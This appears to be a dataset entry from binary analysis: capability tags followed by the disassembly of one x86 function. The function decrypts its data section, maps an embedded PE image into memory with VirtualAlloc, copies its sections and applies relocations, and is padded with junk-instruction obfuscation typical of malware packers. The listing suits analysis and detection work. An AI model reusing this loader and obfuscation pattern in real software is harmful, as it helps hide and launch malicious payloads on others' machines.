Function at 0x401250
Capabilities:
Access peb ldr_data
Create thread
Enumerate pe sections
Get ntdll base address
Get number of processors
Get process heap flags
Inspect section memory permissions
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x144
mov eax, dword [ebp + 8]
vmovss xmm0, dword [0x413188]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x413184]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x413180]
vmovss dword [ebp - 0x14], xmm0
mov al, 1
test al, 1
jne 0x401295
jmp 0x4012af
vmovss xmm0, dword [0x413190]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x41318c]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x413194]
vmovss dword [ebp - 0x14], xmm0
mov al, 1
test al, 1
jne 0x4012cb
jmp 0x4012e5
vmovss xmm0, dword [0x41319c]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x413198]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x4131a0]
vmovss dword [ebp - 0x14], xmm0
mov al, 1
test al, 1
jne 0x401301
jmp 0x40131b
vmovss xmm0, dword [0x4131a8]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x4131a4]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x4131ac]
vmovss dword [ebp - 0x14], xmm0
mov al, 1
test al, 1
jne 0x401337
jmp 0x401351
vmovss xmm0, dword [0x4131b4]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x4131b0]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x4131b8]
vmovss dword [ebp - 0x14], xmm0
mov al, 1
test al, 1
jne 0x40136d
jmp 0x401387
vmovss xmm0, dword [0x4131c0]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x4131bc]
vmovss dword [ebp - 0x14], xmm0
vmovss xmm0, dword [0x4131cc]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x4131c8]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x4131c4]
vmovss dword [ebp - 0x18], xmm0
mov al, 1
test al, 1
jne 0x4013bd
jmp 0x4013d7
vmovss xmm0, dword [0x4131d4]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x4131d0]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x4131d8]
vmovss dword [ebp - 0x18], xmm0
mov al, 1
test al, 1
jne 0x4013f3
jmp 0x40140d
vmovss xmm0, dword [0x4131e0]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x4131dc]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x4131e4]
vmovss dword [ebp - 0x18], xmm0
mov al, 1
test al, 1
jne 0x401429
jmp 0x401443
vmovss xmm0, dword [0x4131ec]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x4131e8]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x4131f0]
vmovss dword [ebp - 0x18], xmm0
mov al, 1
test al, 1
jne 0x40145f
jmp 0x401479
vmovss xmm0, dword [0x4131f8]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x4131f4]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x4131fc]
vmovss dword [ebp - 0x18], xmm0
mov al, 1
test al, 1
jne 0x401495
jmp 0x4014af
vmovss xmm0, dword [0x413204]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x413200]
vmovss dword [ebp - 0x18], xmm0
vmovss xmm0, dword [0x413210]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x41320c]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x413208]
vmovss dword [ebp - 0x1c], xmm0
mov al, 1
test al, 1
jne 0x4014e5
jmp 0x4014ff
vmovss xmm0, dword [0x413218]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x413214]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x41321c]
vmovss dword [ebp - 0x1c], xmm0
mov al, 1
test al, 1
jne 0x40151b
jmp 0x401535
vmovss xmm0, dword [0x413224]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x413220]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x413228]
vmovss dword [ebp - 0x1c], xmm0
mov al, 1
test al, 1
jne 0x401551
jmp 0x40156b
vmovss xmm0, dword [0x413230]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x41322c]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x413234]
vmovss dword [ebp - 0x1c], xmm0
mov al, 1
test al, 1
jne 0x401587
jmp 0x4015a1
vmovss xmm0, dword [0x41323c]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x413238]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x413240]
vmovss dword [ebp - 0x1c], xmm0
mov al, 1
test al, 1
jne 0x4015bd
jmp 0x4015d7
vmovss xmm0, dword [0x413248]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x413244]
vmovss dword [ebp - 0x1c], xmm0
vmovss xmm0, dword [0x413254]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x413250]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x41324c]
vmovss dword [ebp - 0x20], xmm0
mov al, 1
test al, 1
jne 0x40160d
jmp 0x401627
vmovss xmm0, dword [0x41325c]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x413258]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x413260]
vmovss dword [ebp - 0x20], xmm0
mov al, 1
test al, 1
jne 0x401643
jmp 0x40165d
vmovss xmm0, dword [0x413268]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x413264]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x41326c]
vmovss dword [ebp - 0x20], xmm0
mov al, 1
test al, 1
jne 0x401679
jmp 0x401693
vmovss xmm0, dword [0x413274]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x413270]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x413278]
vmovss dword [ebp - 0x20], xmm0
mov al, 1
test al, 1
jne 0x4016af
jmp 0x4016c9
vmovss xmm0, dword [0x413280]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x41327c]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x413284]
vmovss dword [ebp - 0x20], xmm0
mov al, 1
test al, 1
jne 0x4016e5
jmp 0x4016ff
vmovss xmm0, dword [0x41328c]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x413288]
vmovss dword [ebp - 0x20], xmm0
vmovss xmm0, dword [0x413298]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x413294]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x413290]
vmovss dword [ebp - 0x24], xmm0
mov al, 1
test al, 1
jne 0x401735
jmp 0x40174f
vmovss xmm0, dword [0x4132a0]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x41329c]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x4132a4]
vmovss dword [ebp - 0x24], xmm0
mov al, 1
test al, 1
jne 0x40176b
jmp 0x401785
vmovss xmm0, dword [0x4132ac]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x4132a8]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x4132b0]
vmovss dword [ebp - 0x24], xmm0
mov al, 1
test al, 1
jne 0x4017a1
jmp 0x4017bb
vmovss xmm0, dword [0x4132b8]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x4132b4]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x4132bc]
vmovss dword [ebp - 0x24], xmm0
mov al, 1
test al, 1
jne 0x4017d7
jmp 0x4017f1
vmovss xmm0, dword [0x4132c4]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x4132c0]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x4132c8]
vmovss dword [ebp - 0x24], xmm0
mov al, 1
test al, 1
jne 0x40180d
jmp 0x401827
vmovss xmm0, dword [0x4132d0]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x4132cc]
vmovss dword [ebp - 0x24], xmm0
vmovss xmm0, dword [0x4132dc]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x4132d8]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x4132d4]
vmovss dword [ebp - 0x28], xmm0
mov al, 1
test al, 1
jne 0x40185d
jmp 0x401877
vmovss xmm0, dword [0x4132e4]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x4132e0]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x4132e8]
vmovss dword [ebp - 0x28], xmm0
mov al, 1
test al, 1
jne 0x401893
jmp 0x4018ad
vmovss xmm0, dword [0x4132f0]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x4132ec]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x4132f4]
vmovss dword [ebp - 0x28], xmm0
mov al, 1
test al, 1
jne 0x4018c9
jmp 0x4018e3
vmovss xmm0, dword [0x4132fc]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x4132f8]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x413300]
vmovss dword [ebp - 0x28], xmm0
mov al, 1
test al, 1
jne 0x4018ff
jmp 0x401919
vmovss xmm0, dword [0x413308]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x413304]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x41330c]
vmovss dword [ebp - 0x28], xmm0
mov al, 1
test al, 1
jne 0x401935
jmp 0x40194f
vmovss xmm0, dword [0x413314]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x413310]
vmovss dword [ebp - 0x28], xmm0
vmovss xmm0, dword [0x413320]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x41331c]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x413318]
vmovss dword [ebp - 0x2c], xmm0
mov al, 1
test al, 1
jne 0x401985
jmp 0x40199f
vmovss xmm0, dword [0x413328]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x413324]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x41332c]
vmovss dword [ebp - 0x2c], xmm0
mov al, 1
test al, 1
jne 0x4019bb
jmp 0x4019d5
vmovss xmm0, dword [0x413334]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x413330]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x413338]
vmovss dword [ebp - 0x2c], xmm0
mov al, 1
test al, 1
jne 0x4019f1
jmp 0x401a0b
vmovss xmm0, dword [0x413340]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x41333c]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x413344]
vmovss dword [ebp - 0x2c], xmm0
mov al, 1
test al, 1
jne 0x401a27
jmp 0x401a41
vmovss xmm0, dword [0x41334c]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x413348]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x413350]
vmovss dword [ebp - 0x2c], xmm0
mov al, 1
test al, 1
jne 0x401a5d
jmp 0x401a77
vmovss xmm0, dword [0x413358]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x413354]
vmovss dword [ebp - 0x2c], xmm0
vmovss xmm0, dword [0x413364]
vmovss dword [ebp - 0x30], xmm0
vmovss xmm0, dword [0x413360]
vmovss dword [ebp - 0x30], xmm0
vmovss xmm0, dword [0x41335c]
vmovss dword [ebp - 0x30], xmm0
mov al, 1
test al, 1
jne 0x401aad
jmp 0x401ac7
vmovss xmm0, dword [0x41336c]
vmovss dword [ebp - 0x30], xmm0
vmovss xmm0, dword [0x413368]
vmovss dword [ebp - 0x30], xmm0
vmovss xmm0, dword [0x413370]
vmovss dword [ebp - 0x30], xmm0
mov al, 1
test al, 1
jne 0x401ae3
jmp 0x401afd
vmovss xmm0, dword [0x413378]
vmovss dword [ebp - 0x30], xmm0
vmovss xmm0, dword [0x413374]
vmovss dword [ebp - 0x30], xmm0
vmovss xmm0, dword [0x41337c]
vmovss dword [ebp - 0x30], xmm0
mov al, 1
test al, 1
jne 0x401b19
jmp 0x401b33
vmovss xmm0, dword [0x413384]
vmovss dword [ebp - 0x30], xmm0
vmovss xmm0, dword [0x413380]
vmovss dword [ebp - 0x30], xmm0
vmovss xmm0, dword [0x413388]
vmovss dword [ebp - 0x30], xmm0
mov al, 1
test al, 1
jne 0x401b4f
jmp 0x401b69
vmovss xmm0, dword [0x413390]
vmovss dword [ebp - 0x30], xmm0
vmovss xmm0, dword [0x41338c]
vmovss dword [ebp - 0x30], xmm0
vmovss xmm0, dword [0x413394]
vmovss dword [ebp - 0x30], xmm0
mov al, 1
test al, 1
jne 0x401b85
jmp 0x401b9f
vmovss xmm0, dword [0x41339c]
vmovss dword [ebp - 0x30], xmm0
vmovss xmm0, dword [0x413398]
vmovss dword [ebp - 0x30], xmm0
mov edx, 0x4c
sub edx, 0x5b
imul ebx
imul eax
imul edi
and esi, 0x60
mov edi, 0x82
mov eax, 0x78
imul ebx
imul eax
rol edi, 0x3c
ror edx, 0x6d
imul edx
add edx, 9
bswap ebx
ror esi, 0x69
rcr eax, 0xb5
not ebx
sbb eax, 0xe7
dec edx
not esi
imul eax
and edi, 0x1f
neg ebx
bswap edi
bswap esi
rcl esi, 0xc4
ror eax, 9
sub esi, 0x13
neg edx
dec edi
inc ebx
dec eax
add edx, 0xdd
not esi
neg ebx
ror edi, 2
mov edi, 0x32
sbb ebx, 0x67
rcr edi, 0xe0
or edi, 0x1f
or eax, 0x41
sbb edx, 0x55
add ebx, 0x67
add esi, 0x1b
mov edx, 0x72
not edi
rcr edi, 0x3e
dec ebx
bswap eax
not esi
sbb esi, 0x6d
add eax, 0xbb
mov edi, 0x78
rcl esi, 0xb7
bswap eax
dec esi
inc edi
rcl edx, 0x5c
neg ebx
rol esi, 0x19
neg edx
rol esi, 0xbc
neg esi
not edx
not esi
sbb edi, 0xa8
rol esi, 0xa9
rol ebx, 0xff
inc eax
imul edx
neg eax
or eax, 0x4a
not eax
neg ebx
add ebx, 0x5e
sbb eax, 0
or edx, 0
inc esi
imul edi
inc esi
sbb edi, 0xb7
sub esi, 0xd7
imul eax
inc esi
neg edi
or eax, 0x85
or eax, 0xdd
sbb esi, 0x2d
add eax, 7
bswap edi
sbb ebx, 0x94
mov ebx, 0x62
rcl ebx, 0xfc
add eax, 0xaa
bswap ebx
sub esi, 0x23
not edi
rcl edx, 0xfb
inc esi
or esi, 0xb9
not eax
not eax
add esi, 0x92
rol eax, 0xd9
rcr ebx, 0x45
inc eax
and edx, 0x83
neg edx
neg edi
dec edx
or eax, 0x10
inc ebx
not edx
imul edi
not esi
rcr edi, 0xa4
neg edi
bswap edi
and eax, 0xd6
dec ebx
dec edi
bswap edx
and edx, 0x50
dec esi
or edx, 0x5c
mov ebx, 0x35
rcl esi, 0x2c
inc edi
ror edi, 0xbd
mov esi, 0x58
bswap edi
neg ebx
mov eax, 0xfd
not edi
rcl edi, 0xeb
neg ebx
imul eax
dec edi
inc esi
rcl edx, 0x62
dec edx
not ebx
or esi, 0x33
or esi, 0x82
rcl esi, 0xed
bswap esi
imul edi
neg edi
dec eax
sbb ebx, 0x60
rol eax, 0x63
inc ebx
mov edx, 0xdb
neg eax
mov eax, 0x7d
or edx, 0x5e
mov ebx, 0x15
rcl eax, 0x54
rol edi, 0x94
not ebx
or edi, 0xbb
neg esi
bswap esi
or edi, 0x82
inc ebx
rcr esi, 0xc5
dec ebx
inc eax
sub edx, 0xb8
dec edx
mov edx, 0x69
rcl esi, 0xa6
imul esi
sbb ebx, 0xf2
sub edi, 0x84
imul eax
ror esi, 0xcf
ror ebx, 0x4d
sbb ebx, 0xa2
dec edx
sub ebx, 0x6b
ror eax, 0x9e
add ebx, 0x36
sub ebx, 0x18
bswap esi
dec eax
inc edi
or edi, 0x9b
neg esi
rcr edx, 0xe1
neg edx
inc eax
bswap eax
rol esi, 0x15
mov edx, 0x2e
neg ebx
or edi, 0xf
not esi
neg esi
mov dword [ebp - 0x10], eax
lea eax, section..data
mov dword [esp], eax
mov dword [esp + 4], 0x4b000
call fcn.00401000
lea eax, section..data
mov dword [ebp + 8], eax
neg ebx
sub ebx, 0xc2
imul ebx
and edx, 0x7d
and edx, 0x83
ror ebx, 0xf9
dec eax
dec edi
imul edi
sbb edx, 0xd2
rcr eax, 0x7c
ror edx, 0xaa
rcl ebx, 0x54
ror eax, 0x4d
not esi
ror esi, 0x94
not esi
rcr ebx, 0x41
imul edi
neg edx
mov esi, 0x2f
not edx
sub edi, 0x75
neg ebx
imul edi
rol esi, 0x76
dec eax
rol ebx, 0x57
or ebx, 0xa7
bswap edx
rcr ebx, 0xbd
or ebx, 0x78
bswap eax
not esi
add edi, 0xde
sub edx, 0x9f
mov eax, 0xf1
rcr edx, 0xc0
rol edx, 0x64
imul esi
add eax, 9
ror esi, 0xad
add ebx, 0x1f
rcl esi, 0xe5
bswap eax
or edx, 0x7d
rol edx, 0x4d
dec edi
imul edi
imul eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x34]
add eax, dword [ecx + 0x3c]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
cmp dword [eax], 0x4550
je 0x401eb3
mov dword [ebp - 0x10], 1
jmp 0x4032b4
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax + 0xa0]
mov dword [ebp - 0x40], ecx
mov eax, dword [eax + 0xa4]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x3c], 0
je 0x401eeb
xor eax, eax
mov dword [ebp - 0x138], eax
jmp 0x401ef7
mov eax, dword [ebp - 0x38]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x134]
mov ecx, dword [ebp - 0x138]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x3000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
sub esp, 0x10
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x3c], 0
jne 0x401f4b
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x38]
cmp eax, dword [ecx + 0x34]
je 0x401f4b
mov dword [ebp - 0x10], 2
jmp 0x4032b4
rcr edx, 2
not esi
imul esi
not edi
inc edx
add edx, 0x8d
dec esi
and edi, 0x17
and esi, 0x14
dec edx
rcr eax, 0x78
rcl esi, 0xc8
add eax, 0xc5
dec edi
inc eax
bswap esi
neg edi
not ebx
dec esi
neg esi
neg ebx
not edx
neg edx
ror edi, 0xce
ror edx, 0x88
bswap edx
add edx, 0x20
imul ebx
sbb edx, 0x4a
bswap edi
bswap edi
rcl edi, 0xe0
rcr ebx, 0xf3
imul edi
mov edi, 0x67
inc edi
bswap edi
ror edi, 0x2f
or edi, 0x66
rol ebx, 0xc5
sbb ebx, 0x6a
rcl eax, 0x39
bswap ebx
bswap edi
neg esi
neg esi
not eax
add eax, 0x83
rcl eax, 0x29
sbb eax, 0xee
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x44]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x400
call fcn.00401220
not edi
and edi, 0x9e
and edi, 0x48
rcr eax, 0x88
and ebx, 0x99
sbb edx, 0x4e
bswap eax
bswap edx
ror ebx, 0x5a
ror edi, 0x6e
rcr edx, 0x4e
add edx, 0xe7
ror edi, 0x6c
add eax, 0x1e
sbb edi, 6
sub ebx, 0x5a
sub edi, 0xb8
dec eax
rol edx, 0xc1
and edx, 0x29
or edi, 0x6e
sbb ebx, 0x19
neg edx
sbb esi, 0x29
imul eax
dec ebx
bswap edx
rol edx, 0xf7
sub edx, 0xfb
dec edx
and esi, 0xd6
ror ebx, 0xf0
rol ebx, 0x1b
not edi
dec edx
sub eax, 0xd7
not edx
and ebx, 0x6d
rcl edi, 0xee
rol esi, 0xc4
and ebx, 0x41
rcr edx, 0xb9
ror esi, 0xc6
imul edx
rcr esi, 0xe3
bswap edx
not ebx
add eax, 0xe8
neg eax
sub edi, 0xfa
mov edi, 0x80
ror esi, 0x19
neg edx
sub edi, 2
not eax
imul esi
bswap edi
or edx, 0x6f
sbb eax, 0xab
bswap eax
or edi, 0x12
not ebx
imul edi
sub esi, 0x94
rcl ebx, 0x97
dec eax
neg ebx
ror ebx, 0x1f
neg edx
rcl ebx, 0x84
inc edx
add ebx, 0x42
or ebx, 0x94
sub edi, 0x19
dec ebx
inc edi
add eax, 0x3d
sbb eax, 0x55
imul esi
bswap eax
inc ebx
not esi
rcl edi, 0x6d
inc ebx
or esi, 0xb4
and esi, 0xb6
dec ebx
imul ebx
not esi
neg esi
and esi, 0x66
bswap eax
imul edi
imul edx
rcr edx, 0x21
neg eax
sbb edx, 0x5d
dec edx
bswap eax
imul eax
rcl esi, 0xc3
inc esi
add edx, 0x80
not esi
sub ebx, 0x87
dec edi
sbb esi, 0xd6
ror edi, 0x2f
or esi, 0x93
ror eax, 0x33
sub edi, 0xeb
neg eax
imul edi
neg edx
inc esi
rol eax, 0xa3
ror edx, 0x8b
rol esi, 0x2a
rol edi, 0x8d
mov edx, 0x2d
not edx
ror edi, 0x4f
rcl ebx, 0xef
imul esi
imul edx
dec ebx
mov eax, 0x8f
rcl edi, 0x55
dec esi
add ebx, 0x48
or esi, 0x9d
rcr esi, 0x84
add esi, 0x43
inc eax
sub esi, 0x2d
imul ebx
dec edx
bswap edi
neg edx
and esi, 0x8f
or esi, 0x84
and edx, 0x96
rol esi, 0xa1
not edi
or esi, 0x3d
bswap ebx
neg edi
sub esi, 0xa1
ror edx, 0x15
imul eax
and edx, 0xcc
not eax
rcr esi, 0x9b
sub eax, 0x50
or edx, 0xf4
neg ebx
sbb edx, 0x32
neg edi
sub edx, 0xef
neg esi
or edi, 0x51
inc eax
ror edx, 0xae
mov ebx, 0xa4
inc esi
bswap eax
sbb eax, 0xae
mov edi, 0x62
dec ebx
dec eax
inc eax
sub ebx, 0xb9
rcl eax, 0x91
not edx
neg ebx
ror ebx, 0x12
neg edi
sbb edx, 0xaf
sbb eax, 0x9e
and esi, 0x2b
sub eax, 0x64
inc edi
rcr edi, 0xe0
ror esi, 0x8f
imul edi
ror eax, 0xca
add edx, 0x67
bswap esi
imul esi
imul eax
imul esi
neg ebx
sbb ebx, 0x2e
rcr edx, 0x32
not esi
mov edi, 0xe0
rcr edi, 0xfc
dec esi
sbb edi, 0xf8
neg esi
bswap ebx
dec ebx
bswap edx
inc eax
dec edi
sbb ebx, 0xa
rcr eax, 0x84
bswap esi
and ebx, 0xc7
neg esi
mov edx, 0xd6
sub edx, 0xa6
and ebx, 0x23
imul esi
rol ebx, 0x13
rcr edi, 0xda
inc eax
inc esi
neg eax
not edx
add eax, 0xdf
ror edx, 0xd
inc edx
rcr eax, 0xb9
rol edx, 0x1c
ror edi, 0xf9
imul ebx
mov edx, 0xcd
rcr edx, 0x79
rcr eax, 0x54
rcr edx, 0xfc
neg edx
bswap esi
ror edi, 0xe0
sub ebx, 0xc0
neg eax
ror edi, 0x56
ror ebx, 0x6c
dec edx
mov esi, 0x88
sub edx, 0xdf
sub edi, 0x76
inc edi
mov ebx, 0xf2
imul esi
add esi, 0x85
imul edx
dec esi
imul edi
neg edx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x38]
add eax, 0x18
mov ecx, dword [ebp - 0x38]
movzx ecx, word [ecx + 0x14]
add eax, ecx
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x4c], 0
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x38]
movzx ecx, word [ecx + 6]
cmp eax, ecx
jge 0x402336
mov eax, dword [ebp - 0x48]
imul ecx, dword [ebp - 0x4c], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x48]
imul esi, dword [ebp - 0x4c], 0x28
add edx, esi
add ecx, dword [edx + 0x14]
mov edx, dword [ebp - 0x44]
mov esi, dword [ebp - 0x48]
imul edi, dword [ebp - 0x4c], 0x28
add esi, edi
add edx, dword [esi + 0xc]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00401220
mov eax, dword [ebp - 0x4c]
add eax, 1
mov dword [ebp - 0x4c], eax
jmp 0x4022dc
and edi, 0x17
neg edx
imul edi
bswap esi
add edi, 0xd9
bswap edx
imul edi
sbb eax, 0xc3
sbb ebx, 0x5a
and eax, 0x7d
rcr edx, 0x47
inc esi
rcl edi, 0x10
inc esi
or edi, 0x59
dec eax
not edi
or edx, 0xf8
sub edx, 0x67
inc esi
sub edi, 0xe8
neg eax
add eax, 0x5d
dec edi
imul edx
not esi
rcl edx, 0xb9
ror edi, 0x42
and esi, 0x94
imul esi
rcr edi, 0xf7
neg ebx
mov edi, 0x13
rol esi, 4
imul ebx
or ebx, 0x43
not esi
not edx
inc edi
dec edi
neg eax
sub ebx, 0x2c
neg eax
sbb edx, 0x1e
dec edi
bswap edx
sub ebx, 0xa1
rol edi, 0xbe
rcr edi, 0xea
inc eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x38]
cmp eax, dword [ecx + 0x34]
je 0x40248b
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x38]
sub eax, dword [ecx + 0x34]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x44]
add eax, dword [ebp - 0x40]
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x58], 0
mov eax, dword [ebp - 0x58]
cmp eax, dword [ebp - 0x3c]
jae 0x402486
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x54]
add eax, dword [ecx]
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x54]
mov eax, dword [eax + 4]
sub eax, 8
shr eax, 1
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x54]
add eax, 8
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x68], 0
mov eax, dword [ebp - 0x68]
cmp eax, dword [ebp - 0x60]
jge 0x40246f
mov eax, dword [ebp - 0x64]
movzx eax, word [eax]
sar eax, 0xc
and eax, 3
cmp eax, 0
je 0x402458
mov ecx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x5c]
mov edx, dword [ebp - 0x64]
movzx edx, word [edx]
and edx, 0xfff
add eax, edx
add ecx, dword [eax]
mov dword [eax], ecx
mov eax, dword [ebp - 0x64]
add eax, 2
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x68]
add eax, 1
mov dword [ebp - 0x68], eax
jmp 0x40241f
mov eax, dword [ebp - 0x54]
mov eax, dword [eax + 4]
add eax, dword [ebp - 0x58]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x54], eax
jmp 0x4023ea
jmp 0x40248b
dec edx
rol edi, 0x32
inc esi
rcl ebx, 0x35
neg ebx
imul eax
neg edi
sub edi, 0x18
inc eax
bswap ebx
not esi
neg esi
or eax, 0x17
neg ebx
inc ebx
not edi
neg ebx
add eax, 0xe0
dec eax
rol esi, 0x46
rcr edx, 0x63
mov esi, 0xbc
dec edx
imul esi
and edx, 0x29
inc edx
add edx, 8
or esi, 0xc
ror edx, 0x25
and edx, 0x4e
neg ebx
neg eax
add edx, 0xf4
sub esi, 0x35
bswap ebx
sbb edi, 0xe3
imul ebx
bswap ebx
bswap eax
rol esi, 0xed
bswap edx
neg ebx
sub ebx, 0xba
imul esi
bswap eax
dec edx
not edi
dec edi
or esi, 0xc6
bswap edx
sub edx, 0x1a
dec edi
bswap ebx
sub esi, 0x92
sub edi, 0x89
neg edx
bswap esi
rol ebx, 0x17
neg ebx
neg esi
add ebx, 0x35
sbb edx, 0xa3
dec eax
sbb ebx, 0x81
and ebx, 0x72
dec eax
not edi
add eax, 0xe6
and edx, 0xbe
dec ebx
bswap eax
not ebx
not ebx
bswap esi
neg esi
neg ebx
not esi
rol eax, 0xe7
dec esi
sub edx, 0xf5
sbb eax, 0x16
or eax, 0xdf
rcr eax, 0x19
sub edi, 0xfc
rcr edx, 0xd7
bswap esi
not esi
not eax
and ebx, 0x61
dec edx
ror esi, 0xc1
add eax, 0xee
dec eax
imul edi
neg esi
not ebx
bswap ebx
dec edi
imul eax
and edi, 0xfb
add edx, 0xb6
or esi, 0x48
imul ebx
sub edi, 0xc5
not edi
rcr ebx, 0x2b
neg ebx
not esi
rol ebx, 0x74
imul esi
bswap edi
neg esi
imul ebx
rol edx, 0x89
neg esi
and esi, 0xda
imul edx
inc edx
mov edi, 0x58
neg eax
mov edi, 0xde
imul esi
sub edi, 6
not edi
sbb edx, 0x25
rol edi, 0x96
rcl ebx, 0x7a
not edi
